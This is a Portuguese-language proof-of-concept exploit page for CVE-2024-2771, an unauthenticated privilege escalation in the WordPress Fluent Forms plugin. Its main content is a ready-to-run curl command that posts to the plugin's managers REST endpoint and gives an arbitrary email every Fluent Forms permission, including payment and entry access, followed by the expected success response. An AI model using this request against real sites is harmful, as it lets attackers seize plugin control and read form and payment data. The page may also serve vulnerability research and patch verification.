
Exploit de prova de conceito para CVE-2024-2771, uma vulnerabilidade de escalonamento de privilégios no plugin Fluent Forms do WordPress por meio de um endpoint de API REST não autenticado.
Prova de conceito do CVE-2024-2771
O plugin Contact Form by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder para WordPress é vulnerável a escalonamento de privilégios devido à ausência de verificação de capacidade no endpoint da REST API /wp-json/fluentform/v1/managers em todas as versões até, e incluindo, a 5.1.16. Isso possibilita que atacantes não autenticados concedam a usuários permissões de gerenciamento do Fluent Form, o que lhes dá acesso a todas as configurações e recursos do plugin. Isso também possibilita que atacantes não autenticados excluam contas de gerentes.
Pré-requisitos
Comando do Exploit
# 1. Grant full Fluent Forms permissions to an arbitrary email
curl -i -X POST "http://TARGET/wp-json/fluentform/v1/managers" \
-H "Content-Type: application/json" \
-d '{
"manager": {
"email": "[email protected]",
"permissions": [
"fluentform_dashboard_access",
"fluentform_forms_manager",
"fluentform_entries_viewer",
"fluentform_manage_entries",
"fluentform_view_payments",
"fluentform_manage_payments",
"fluentform_settings_manager",
"fluentform_full_access"
]
}
}'
Resposta Esperada
HTTP/1.1 200 OK
{
"message": "Manager has been saved.",
"manager": {
"id": 2,
"email": "[email protected]",
"permissions": [
"fluentform_dashboard_access",
"fluentform_forms_manager",
"fluentform_entries_viewer",
"fluentform_manage_entries",
"fluentform_view_payments",
"fluentform_manage_payments",
"fluentform_settings_manager",
"fluentform_full_access"
]
}
}
Captura de Tela
